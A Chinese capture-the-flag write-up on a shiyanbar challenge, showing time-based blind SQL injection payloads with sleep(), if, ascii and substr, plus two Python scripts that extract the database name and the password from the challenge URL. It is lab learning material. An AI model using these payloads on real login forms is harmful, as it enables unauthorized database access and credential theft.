实验吧 看起来有点难 脚本加盲注
题目分析
测试?admin=1&pass=1&action=login
报错无法连接数据库
测试?admin=admin'&pass=admin&action=login
说明只要爆密码就可以
用SQL注入的方法
?admin=admin' union select 1,2,3 --+&pass=admin&action=login
弹窗警告
尝试双写大小写绕不过去,而且并没有报错信息尝试
?admin=admin' and sleep(5) --+&pass=admin&action=login
发现延时了
就可以用延时注入
然后先猜当前数据库长度,在用户名后面的参数加?admin=admin' and if(length(database())=4,0,sleep(5)) %23&pass=admin&action=login
,当我们的if判断正确时,页面则不延迟5秒,错误时则会延迟5秒,这里我猜出当前数据库长度为4 知道数据库长度之后,猜数据库名
先猜数据库的第一位ASCII的码值
先介绍一下substr(str,start,length)函数,str是要截取的字符串,start是开始点,length是截取长度,这里我们的str和length就一直不变,str为database(),表示显示当前数据库名,length始终为1,表示每次都只截取1个字符,所以我们只要变start开始点就行了
?admin=admin' and if(ascii(substr(database(),1,1))>97,0,sleep(10))%23&pass=admin&action=login
,这里我用延迟10秒,因为我网速不是很好
这里当数据库的第一位字符的ASCII码值大于97时不延迟,表示是正确的
最后得到库名为test
因为select 被过滤了 但是发现弹窗也不影响我们的注入
继续猜表名and if(ascii(substr((Select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))=97,0,sleep(5))%23
得到第一位是 a
然后。
。
。
接下来就写脚本!
#coding:utf-8
import requests
import time
j = 1
r = ''
while j<=4:
for i in range(97,123):
one=time.time()
a=requests.get("http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and if(ascii(substr((database()),"+str(j)+",1))="+str(i)+",0,sleep(10))%23&pass=1&action=login")
two=time.time()
if two-one<=10:
r +=chr(i)
print(r)
j +=1
print([END],r)
将database()修改为SeLect table_name from information_schema.tables where table_schema='test'
就可以查表
最后在自己学习过程中想到,应该可以直接对password进行注入
给出下面的脚本
#coding:utf-8
import requests
import string
str = string.ascii_lowercase+string.digits+'@_{}.*'
print (str)
flag=""
print ("start:")
# # length 先爆出字段长度
# for i in range(1,20):
# url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(length(password)=%s) then sleep(8) else sleep(0) end and ''='&pass=&action=login" %i
# try:
# res = requests.get(url, timeout=5)
# except:
# print (i)
# break
for i in range(1,9):
for s in str:
url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(8) else sleep(0) end and ''='&pass=&action=login" %(i,s)
try:
res = requests.get(url, timeout=5)
except:
flag += s
print ("%s:%s" %(i,flag))
break
print ("password:"+flag)
先用上面再用下面